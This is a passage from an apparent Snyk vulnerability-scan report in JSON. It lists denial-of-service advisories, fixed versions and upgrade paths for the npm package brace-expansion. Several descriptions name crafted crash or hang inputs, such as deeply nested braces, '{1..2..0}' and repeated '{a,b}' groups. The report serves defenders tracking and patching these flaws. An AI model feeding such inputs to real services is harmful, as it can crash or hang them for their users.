Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
